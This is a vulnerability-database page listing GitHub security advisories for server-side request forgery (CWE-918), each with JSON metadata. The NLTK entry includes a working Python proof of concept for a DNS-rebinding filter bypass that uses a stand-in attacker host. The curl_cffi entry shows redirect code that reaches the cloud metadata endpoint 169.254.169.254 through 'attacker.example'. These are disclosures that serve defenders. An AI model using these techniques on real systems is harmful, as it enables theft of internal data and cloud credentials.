Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-QVFG-Q6V8-7JX8

Vulnerability from github – Published: 2022-11-30 06:30 – Updated: 2022-12-02 15:30
VLAI
Details

An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-30T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.",
  "id": "GHSA-qvfg-q6v8-7jx8",
  "modified": "2022-12-02T15:30:26Z",
  "published": "2022-11-30T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/renmizo/CVE-2022-41412"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/170069/perfSONAR-4.4.4-Open-Proxy-Relay.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVFH-V498-XRRF

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-21 21:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache InLong.  Any authenticated user (no admin role required) can cause the InLong Manager server to make outbound HTTP requests or TCP connections to arbitrary internal hosts and ports.

This issue affects Apache InLong: from 2.0.0 before 2.4.0.

Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.

[1]  https://github.com/apache/inlong/pull/12130 .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T16:17:30Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache InLong.\u00a0\u00a0Any authenticated\u00a0user (no admin role required) can cause the\u00a0InLong Manager server to make outbound HTTP requests or TCP connections to\narbitrary internal hosts and ports.\n\nThis issue affects Apache InLong: from 2.0.0 before 2.4.0.\n\n\n\nUsers are advised to upgrade to Apache InLong\u0027s  2.4.0 or cherry-pick [1] to solve it.\n\n[1]\u00a0 https://github.com/apache/inlong/pull/12130 .",
  "id": "GHSA-qvfh-v498-xrrf",
  "modified": "2026-08-21T21:31:47Z",
  "published": "2026-08-20T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63044"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/b3rtzssd8hdk0dyq4y6mpdx6jj5ro4g6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/20/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVG9-VP87-H3HR

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 03:21
VLAI
Summary
composio Server-Side Request Forgery (SSRF) vulnerability
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.2, specifically in the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint. This vulnerability allows an attacker to read files, access AWS metadata, and interact with local services on the system.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "composio-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T03:21:37Z",
    "nvd_published_at": "2025-03-20T10:15:44Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.2, specifically in the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint. This vulnerability allows an attacker to read files, access AWS metadata, and interact with local services on the system.",
  "id": "GHSA-qvg9-vp87-h3hr",
  "modified": "2025-03-21T03:21:37Z",
  "published": "2025-03-20T12:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8952"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ComposioHQ/composio"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/d1acdd38-10d7-45df-9df0-9fc71f0e1c2a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "composio Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-QVHH-2F8H-HQGP

Vulnerability from github – Published: 2026-04-23 00:31 – Updated: 2026-05-26 15:32
VLAI
Details

WeKan before 8.35 contains a server-side request forgery vulnerability in webhook integration URL handling where the url schema field accepts any string without protocol restriction or destination validation. Attackers who can create or modify integrations can set webhook URLs to internal network addresses, causing the server to issue HTTP POST requests to attacker-controlled internal targets with full board event payloads, and can additionally exploit response handling to overwrite arbitrary comment text without authorization checks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "WeKan before\u00a08.35 contains a server-side request forgery vulnerability in webhook integration URL handling where the url schema field accepts any string without protocol restriction or destination validation. Attackers who can create or modify integrations can set webhook URLs to internal network addresses, causing the server to issue HTTP POST requests to attacker-controlled internal targets with full board event payloads, and can additionally exploit response handling to overwrite arbitrary comment text without authorization checks.",
  "id": "GHSA-qvhh-2f8h-hqgp",
  "modified": "2026-05-26T15:32:07Z",
  "published": "2026-04-23T00:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41455"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/commit/2cd702f48df2b8aef0e7381685f8e089986a18a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/releases/tag/v8.35"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wekan-ssrf-via-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QVMW-H675-H7QG

Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-11 16:13
Withdrawn 2026-05-11 VLAI
Summary
Duplicate Advisory: OpenClaw validates Zalo outbound photo URLs through the SSRF guard
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2hh7-c75g-qj2r. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.4.22 contains a server-side request forgery vulnerability in the Zalo plugin's sendPhoto function that fails to validate outbound photo URLs through the SSRF guard. Attackers can bypass SSRF protection by providing malicious photo URLs to the Zalo Bot API, enabling unauthorized access to internal resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:13:37Z",
    "nvd_published_at": "2026-05-06T20:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2hh7-c75g-qj2r. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.22 contains a server-side request forgery vulnerability in the Zalo plugin\u0027s sendPhoto function that fails to validate outbound photo URLs through the SSRF guard. Attackers can bypass SSRF protection by providing malicious photo URLs to the Zalo Bot API, enabling unauthorized access to internal resources.",
  "id": "GHSA-qvmw-h675-h7qg",
  "modified": "2026-05-11T16:13:37Z",
  "published": "2026-05-06T21:31:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2hh7-c75g-qj2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a65eb1b864b7630c1242a82de9e5799b80583c3f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-in-zalo-photo-url-validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw validates Zalo outbound photo URLs through the SSRF guard",
  "withdrawn": "2026-05-11T16:13:37Z"
}

GHSA-QVPF-FJ3J-7CW6

Vulnerability from github – Published: 2026-09-27 21:31 – Updated: 2026-09-27 21:31
VLAI
Details

Nezha versions 2.0.10 through 2.3.2 use a restricted HTTP client to validate user-configurable notification and DDNS webhook URLs, but the denylist did not cover IPv6 transition ranges — specifically the 6to4 prefix 2002::/16 and the local-use IPv4/IPv6 translation prefix 64:ff9b:1::/48. Because such addresses satisfy Go's netip.Addr.IsGlobalUnicast check, the URL validator accepted them. An authenticated user able to configure a webhook may be able to cause the dashboard to issue requests to an otherwise restricted IPv6 endpoint, but only where the dashboard's network provides unusual or non-standards-compliant routing for these transition ranges; no direct path to an IPv4 metadata, loopback, or private-network HTTP request has been demonstrated. The issue is fixed in version 2.3.3 (commit d1fcde8e), which blocks both prefixes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-101087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-27T21:17:02Z",
    "severity": "MODERATE"
  },
  "details": "Nezha versions 2.0.10 through 2.3.2 use a restricted HTTP client to validate user-configurable notification and DDNS webhook URLs, but the denylist did not cover IPv6 transition ranges \u2014 specifically the 6to4 prefix 2002::/16 and the local-use IPv4/IPv6 translation prefix 64:ff9b:1::/48. Because such addresses satisfy Go\u0027s netip.Addr.IsGlobalUnicast check, the URL validator accepted them. An authenticated user able to configure a webhook may be able to cause the dashboard to issue requests to an otherwise restricted IPv6 endpoint, but only where the dashboard\u0027s network provides unusual or non-standards-compliant routing for these transition ranges; no direct path to an IPv4 metadata, loopback, or private-network HTTP request has been demonstrated. The issue is fixed in version 2.3.3 (commit d1fcde8e), which blocks both prefixes.",
  "id": "GHSA-qvpf-fj3j-7cw6",
  "modified": "2026-09-27T21:31:04Z",
  "published": "2026-09-27T21:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-jr2j-7hvh-h4q9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/commit/d1fcde8e"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nezha-2.0.10-through-2.3.2-ssrf-denylist-bypass-ipv6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QVV7-CG9C-W4X3

Vulnerability from github – Published: 2026-07-31 16:51 – Updated: 2026-07-31 16:51
VLAI
Summary
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
Details

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:51:29Z",
    "nvd_published_at": "2026-06-15T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` \u2192 `socket.create_connection` \u2192 `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 \u2014 the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer\u0027s `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and \u2014 most seriously \u2014 the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK\u0027s documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.",
  "id": "GHSA-qvv7-cg9c-w4x3",
  "modified": "2026-07-31T16:51:29Z",
  "published": "2026-07-31T16:51:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode"
}

GHSA-QW2M-4PQF-RMPP

Vulnerability from github – Published: 2026-04-03 21:36 – Updated: 2026-04-06 23:18
VLAI
Summary
curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

  1. Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  1. Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed

  1. With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "curl_cffi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:36:44Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "HIGH"
  },
